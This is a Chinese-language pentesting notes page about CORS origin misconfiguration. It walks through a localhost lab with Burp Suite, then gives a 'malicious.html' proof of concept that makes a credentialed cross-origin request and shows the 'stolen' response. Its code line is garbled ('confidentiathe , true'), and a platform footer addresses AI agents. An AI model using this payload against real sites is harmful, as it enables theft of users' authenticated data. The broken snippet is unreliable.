> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/cors-origin-pentesting-web.md).

# CORS 来源配置错误

### 跨域资源共享（CORS）：

这些信息都可在网站上获取：

<figure><img src="/files/329da1627f2eb5b96711e35822f0e2b3d6266f73" alt="" width="563"><figcaption></figcaption></figure>

我们用 Burp Suite 拦截它，并观察到两个字段“**访问控制凭据**”和“**来源**”在响应中配置错误：

<figure><img src="/files/5c86ca694685cbfcfdeefad8f0c5ad12075c5794" alt=""><figcaption></figcaption></figure>

我们添加一个 **新的来源字段** 到请求中，使用一个网页链接示例“google.com”，并观察到它被接受：

<figure><img src="/files/6ab80411c718a06f238d636356e847d47c732932" alt=""><figcaption></figcaption></figure>

我们创建一个 web 文件 **malicious.html** ，利用 origin 和 credentials 字段来利用该漏洞：

```html
<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('GET', 'http://localhost:5000/confidentiathe , true);
   req.withCredentials = true;
   req.send();
   function reqListener() {
		document.getElementById("stolenInfo").innerHTML = req.responseText;
   }
</script>
<center><h1>你已经被黑了，这是我从你那里偷来的信息</h1></center>
<p id="stolenInfo"></p>

```

使用 **Python**，我们创建一个 Web 服务器：

<figure><img src="/files/2bf6fe9de557e0f1451dbcc0579e05d9f49ba275" alt=""><figcaption></figcaption></figure>

我们访问我们的网站，而机密信息并未 **发送到我们的网站**:

<figure><img src="/files/52a69f7850cdf93f18d6307255629b521446299f" alt=""><figcaption></figcaption></figure>

如果 CORS 配置正确，我们会收到下面的错误：

<figure><img src="/files/1625757dbf91d4b3184b99314dc445443176aad7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/cors-origin-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
